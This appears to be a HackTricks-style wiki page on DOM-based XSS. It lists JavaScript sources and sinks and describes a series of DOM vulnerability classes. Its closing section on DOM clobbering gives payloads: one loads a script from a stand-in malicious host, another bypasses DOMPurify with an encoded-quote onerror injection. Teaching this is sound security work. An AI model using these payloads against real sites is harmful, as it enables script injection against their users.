# DOM XSS

### **DOM vulnerabilities**

> **Sources**
>
> A source is a JavaScript property that accepts data that is potentially attacker-controlled. An example of a source is the `location.search` property because it reads input from the query string, which is relatively simple for an attacker to control. Ultimately, any property that can be controlled by the attacker is a potential source. This includes the referring URL (exposed by the `document.referrer` string), the user's cookies (exposed by the `document.cookie` string), and web messages.

> **Sinks**
>
> A sink is a potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it. For example, the `eval()` function is a sink because it processes the argument that is passed to it as JavaScript. An example of an HTML sink is `document.body.innerHTML` because it potentially allows an attacker to inject malicious HTML and execute arbitrary JavaScript.

Fundamentally, DOM-based vulnerabilities arise when a website **passes data from a source to a sink**, which then handles the data in an unsafe way in the context of the client's session.

{% hint style="info" %} **You can find a more updated list of sources and sinks in** [**https://github.com/wisec/domxsswiki/wiki**](https://github.com/wisec/domxsswiki/wiki)\*\*\*\* {% endhint %}

**Common sources:**

```
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
```

**Common Sinks:**

| \*\*\*\*[**Open Redirect**](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/dom-xss.md#open-redirect)\*\*\*\*                            | [**Javascript Injection**](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/dom-xss.md#javascript-injection)\*\*\*\*                         | [**DOM-data manipulation**](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/dom-xss.md#dom-data-manipulation)\*\*\*\* | **jQuery**                                                                                                                                                                           |
| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `location`                                                                                                                                                                             | `eval()`                                                                                                                                                                                  | `scriptElement.src`                                                                                                                                                 | `add()`                                                                                                                                                                              |
| `location.host`                                                                                                                                                                        | `Function() constructor`                                                                                                                                                                  | `scriptElement.text`                                                                                                                                                | `after()`                                                                                                                                                                            |
| `location.hostname`                                                                                                                                                                    | `setTimeout()`                                                                                                                                                                            | `scriptElement.textContent`                                                                                                                                         | `append()`                                                                                                                                                                           |
| `location.href`                                                                                                                                                                        | `setInterval()`                                                                                                                                                                           | `scriptElement.innerText`                                                                                                                                           | `animate()`                                                                                                                                                                          |
| `location.pathname`                                                                                                                                                                    | `setImmediate()`                                                                                                                                                                          | `someDOMElement.setAttribute()`                                                                                                                                     | `insertAfter()`                                                                                                                                                                      |
| `location.search`                                                                                                                                                                      | `execCommand()`                                                                                                                                                                           | `someDOMElement.search`                                                                                                                                             | `insertBefore()`                                                                                                                                                                     |
| `location.protocol`                                                                                                                                                                    | `execScript()`                                                                                                                                                                            | `someDOMElement.text`                                                                                                                                               | `before()`                                                                                                                                                                           |
| `location.assign()`                                                                                                                                                                    | `msSetImmediate()`                                                                                                                                                                        | `someDOMElement.textContent`                                                                                                                                        | `html()`                                                                                                                                                                             |
| `location.replace()`                                                                                                                                                                   | `range.createContextualFragment()`                                                                                                                                                        | `someDOMElement.innerText`                                                                                                                                          | `prepend()`                                                                                                                                                                          |
| `open()`                                                                                                                                                                               | `crypto.generateCRMFRequest()`                                                                                                                                                            | `someDOMElement.outerText`                                                                                                                                          | `replaceAll()`                                                                                                                                                                       |
| `domElem.srcdoc`                                                                                                                                                                       | **\`\`**[**Local file-path manipulation**](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/dom-xss.md#local-file-path-manipulation)\*\*\*\* | `someDOMElement.value`                                                                                                                                              | `replaceWith()`                                                                                                                                                                      |
| `XMLHttpRequest.open()`                                                                                                                                                                | `FileReader.readAsArrayBuffer()`                                                                                                                                                          | `someDOMElement.name`                                                                                                                                               | `wrap()`                                                                                                                                                                             |
| `XMLHttpRequest.send()`                                                                                                                                                                | `FileReader.readAsBinaryString()`                                                                                                                                                         | `someDOMElement.target`                                                                                                                                             | `wrapInner()`                                                                                                                                                                        |
| `jQuery.ajax()`                                                                                                                                                                        | `FileReader.readAsDataURL()`                                                                                                                                                              | `someDOMElement.method`                                                                                                                                             | `wrapAll()`                                                                                                                                                                          |
| `$.ajax()`                                                                                                                                                                             | `FileReader.readAsText()`                                                                                                                                                                 | `someDOMElement.type`                                                                                                                                               | `has()`                                                                                                                                                                              |
| **\`\`**[**Ajax request manipulation**](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/dom-xss.md#ajax-request-manipulation)\*\*\*\*    | `FileReader.readAsFile()`                                                                                                                                                                 | `someDOMElement.backgroundImage`                                                                                                                                    | `constructor()`                                                                                                                                                                      |
| `XMLHttpRequest.setRequestHeader()`                                                                                                                                                    | `FileReader.root.getFile()`                                                                                                                                                               | `someDOMElement.cssText`                                                                                                                                            | `init()`                                                                                                                                                                             |
| `XMLHttpRequest.open()`                                                                                                                                                                | `FileReader.root.getFile()`                                                                                                                                                               | `someDOMElement.codebase`                                                                                                                                           | `index()`                                                                                                                                                                            |
| `XMLHttpRequest.send()`                                                                                                                                                                | \*\*\*\*[**Link manipulation**](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/dom-xss.md#link-manipulation)\*\*\*\*                       | `someDOMElement.innerHTML`                                                                                                                                          | `jQuery.parseHTML()`                                                                                                                                                                 |
| `jQuery.globalEval()`                                                                                                                                                                  | `someDOMElement.href`                                                                                                                                                                     | `someDOMElement.outerHTML`                                                                                                                                          | `$.parseHTML()`                                                                                                                                                                      |
| `$.globalEval()`                                                                                                                                                                       | `someDOMElement.src`                                                                                                                                                                      | `someDOMElement.insertAdjacentHTML`                                                                                                                                 | \*\*\*\*[**Client-side JSON injection**](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/dom-xss.md#client-side-sql-injection)\*\*\*\* |
| **\`\`**[**HTML5-storage manipulation**](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/dom-xss.md#html-5-storage-manipulation)\*\*\*\* | `someDOMElement.action`                                                                                                                                                                   | `someDOMElement.onevent`                                                                                                                                            | `JSON.parse()`                                                                                                                                                                       |
| `sessionStorage.setItem()`                                                                                                                                                             | [**XPath injection**](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/dom-xss.md#xpath-injection)\*\*\*\*                                   | `document.write()`                                                                                                                                                  | `jQuery.parseJSON()`                                                                                                                                                                 |
| `localStorage.setItem()`                                                                                                                                                               | `document.evaluate()`                                                                                                                                                                     | `document.writeln()`                                                                                                                                                | `$.parseJSON()`                                                                                                                                                                      |
| **\`\`**[**`Denial of Service`**](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/dom-xss.md#denial-of-service)**\`\`**                  | `someDOMElement.evaluate()`                                                                                                                                                               | `document.title`                                                                                                                                                    | **\`\`**[**Cookie manipulation**](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/dom-xss.md#cookie-manipulation)\*\*\*\*              |
| `requestFileSystem()`                                                                                                                                                                  | **\`\`**[**Document-domain manipulation**](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/dom-xss.md#document-domain-manipulation)\*\*\*\* | `document.implementation.createHTMLDocument()`                                                                                                                      | `document.cookie`                                                                                                                                                                    |
| `RegExp()`                                                                                                                                                                             | `document.domain`                                                                                                                                                                         | `history.pushState()`                                                                                                                                               | \*\*\*\*[**WebSocket-URL poisoning**](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/dom-xss.md#websocket-url-poisoning)\*\*\*\*      |
| \*\*\*\*[**Client-Side SQl injection**](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/dom-xss.md#client-side-sql-injection)\*\*\*\*    | \*\*\*\*[**Web-message manipulation**](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/xss-cross-site-scripting/dom-xss.md#web-message-manipulation)\*\*\*\*         | `history.replaceState()`                                                                                                                                            | `WebSocket`                                                                                                                                                                          |
| `executeSql()`                                                                                                                                                                         | `postMessage()`                                                                                                                                                                           | \`\`                                                                                                                                                                | \`\`                                                                                                                                                                                 |

The **`innerHTML`** sink doesn't accept `script` elements on any modern browser, nor will `svg onload` events fire. This means you will need to use alternative elements like `img` or `iframe`.

This kind of XSS is probably the **hardest to find**, as you need to look inside the JS code, see if it's **using** any object whose **value you control**, and in that case, see if there is **any way to abuse** it to execute arbitrary JS.

### Examples

#### Open Redirect

From: <https://portswigger.net/web-security/dom-based/open-redirection>

**How**

DOM-based open-redirection vulnerabilities arise when a script writes **attacker-controllable data** into a **sink** that can trigger **cross-domain navigation**.

Remember that **if you can start the URL** were the victim is going to be **redirected**, you could execute **arbitrary code** like: **`javascript:alert(1)`**

**Sinks**

```
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
```

#### Cookie manipulation

From: <https://portswigger.net/web-security/dom-based/cookie-manipulation>

**How**

DOM-based cookie-manipulation vulnerabilities arise when a script writes **attacker-controllable data into the value of a cookie**.\
This could be abuse to make the page behaves on unexpected manner (if the cookie is used in the web) or to perform a [session fixation](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/hacking-with-cookies.md#session-fixation) attack (if the cookie is used to track the user's session).

**Sinks**

```
document.cookie
```

#### JavaScript Injection

From: <https://portswigger.net/web-security/dom-based/javascript-injection>

**How**

DOM-based JavaScript-injection vulnerabilities arise when a script executes **attacker-controllable data as JavaScript**.

**Sinks**

```
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
```

#### Document-domain manipulation

From: <https://portswigger.net/web-security/dom-based/document-domain-manipulation>

**How**

Document-domain manipulation vulnerabilities arise when a script uses **attacker-controllable data to set** the **`document.domain`** property.

The `document.domain` property is used by browsers in their **enforcement** of the **same origin policy**. If **two pages** from **different** origins explicitly set the **same `document.domain`** value, then those two pages can **interact in unrestricted ways**.\
Browsers **generally enforce some restrictions** on the values that can be assigned to `document.domain`, and may prevent the use of completely different values than the actual origin of the page. **But this doesn't occur always** and they usually **allow to use child** or **parent** domains.

**Sinks**

```
document.domain
```

#### WebSocket-URL poisoning

From: <https://portswigger.net/web-security/dom-based/websocket-url-poisoning>

**How**

WebSocket-URL poisoning occurs when a script uses **controllable data as the target URL** of a WebSocket connection.

**Sinks**

The `WebSocket` constructor can lead to WebSocket-URL poisoning vulnerabilities.

#### Link manipulation

From: <https://portswigger.net/web-security/dom-based/link-manipulation>

**How**

DOM-based link-manipulation vulnerabilities arise when a script writes **attacker-controllable data to a navigation target** within the current page, such as a clickable link or the submission URL of a form.

**Sinks**

```
someDOMElement.href
someDOMElement.src
someDOMElement.action
```

#### Ajax request manipulation

From: <https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation>

**How**

Ajax request manipulation vulnerabilities arise when a script writes **attacker-controllable data into the an Ajax request** that is issued using an `XmlHttpRequest` object.

**Sinks**

```
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
```

#### Local file-path manipulation

From: <https://portswigger.net/web-security/dom-based/local-file-path-manipulation>

**How**

Local file-path manipulation vulnerabilities arise when a script passes **attacker-controllable data to a file-handling API** as the `filename` parameter. An attacker may be able to use this vulnerability to construct a URL that, if visited by another user, will cause the **user's browser to open/write an arbitrary local file**.

**Sinks**

```
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
```

#### Client-Side SQl injection

From: <https://portswigger.net/web-security/dom-based/client-side-sql-injection>

**How**

Client-side SQL-injection vulnerabilities arise when a script incorporates **attacker-controllable data into a client-side SQL query in an unsafe way**.

**Sinks**

```
executeSql()
```

#### HTML5-storage manipulation

From: <https://portswigger.net/web-security/dom-based/html5-storage-manipulation>

**How**

HTML5-storage manipulation vulnerabilities arise when a script **stores attacker-controllable data in the HTML5 storage** of the web browser (either `localStorage` or `sessionStorage`).\
This **behavior does not in itself constitute a security vulnerability**. However, if the application later **reads data back from storage and processes it in an unsafe way**, an attacker may be able to leverage the storage mechanism to deliver other DOM-based attacks, such as cross-site scripting and JavaScript injection.

**Sinks**

```
sessionStorage.setItem()
localStorage.setItem()
```

#### XPath injection

From: <https://portswigger.net/web-security/dom-based/client-side-xpath-injection>

**How**

DOM-based XPath-injection vulnerabilities arise when a script incorporates **attacker-controllable data into an XPath query**.

**Sinks**

```
document.evaluate()
someDOMElement.evaluate()
```

#### Client-side JSON injection

From: <https://portswigger.net/web-security/dom-based/client-side-json-injection>

**How**

DOM-based JSON-injection vulnerabilities arise when a script incorporates **attacker-controllable data into a string that is parsed as a JSON data structure and then processed by the application**.

**Sinks**

```
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
```

#### Web-message manipulation

From: <https://portswigger.net/web-security/dom-based/web-message-manipulation>

**How**

Web-message vulnerabilities arise when a script sends **attacker-controllable data as a web message to another document** within the browser.\
**Example** of vulnerable Web-message manipulation in <https://portswigger.net/web-security/dom-based/controlling-the-web-message-source>

**Sinks**

The `postMessage()` method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.

#### DOM-data manipulation

From: <https://portswigger.net/web-security/dom-based/dom-data-manipulation>

**How**

DOM-data manipulation vulnerabilities arise when a script writes **attacker-controllable data to a field within the DOM** that is used within the visible UI or client-side logic. An attacker may be able to use this vulnerability to construct a URL that, if visited by another user, will modify the appearance or behaviour of the client-side UI.

**Sinks**

```
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
```

#### Denial of Service

From: <https://portswigger.net/web-security/dom-based/denial-of-service>

**How**

DOM-based denial-of-service vulnerabilities arise when a script passes **attacker-controllable data in an unsafe way to a problematic platform API**, such as an API whose invocation can cause the user's computer to consume **excessive amounts of CPU or disk space**. This may result in side effects if the browser restricts the functionality of the website, for example, by rejecting attempts to store data in `localStorage` or killing busy scripts.

**Sinks**

```
requestFileSystem()
RegExp()
```

### **DOM Clobbering**

A common pattern used by JavaScript developers is:

`var someObject = window.someObject || {};`

If you can control some of the HTML on the page, you can clobber the `someObject` reference with a DOM node, such as an anchor. Consider the following code:

```
<script>
 window.onload = function(){
    let someObject = window.someObject || {};
    let script = document.createElement('script');
    script.src = someObject.url;
    document.body.appendChild(script);
 };
</script>
```

To exploit this vulnerable code, you could inject the following HTML to clobber the `someObject` reference with an anchor element:

`<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>`

Injecting that data `window.someObject.url` is going to be `href=//malicious-website.com/malicious.js`

**Trick**: `DOMPurify` allows you to use the **`cid:`** protocol, which **does not URL-encode double-quotes**. This means you can **inject an encoded double-quote that will be decoded at runtime**. Therefore, injecting something like `<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">` will make the HTML encoded `&quot;` to be **decoded on runtime** and **escape** from the attribute value to **create** the **`onerror`** event.

Another common technique consists on using **`form`** element. Some client-side libraries will go through the attributes of the created form element to sanitised it. But, if you \*\*create an `input`\*\*inside the form with `id=attributes` , you will **clobber the attributes property** and the sanitizer **won't** be able to go through the **real attributes**.
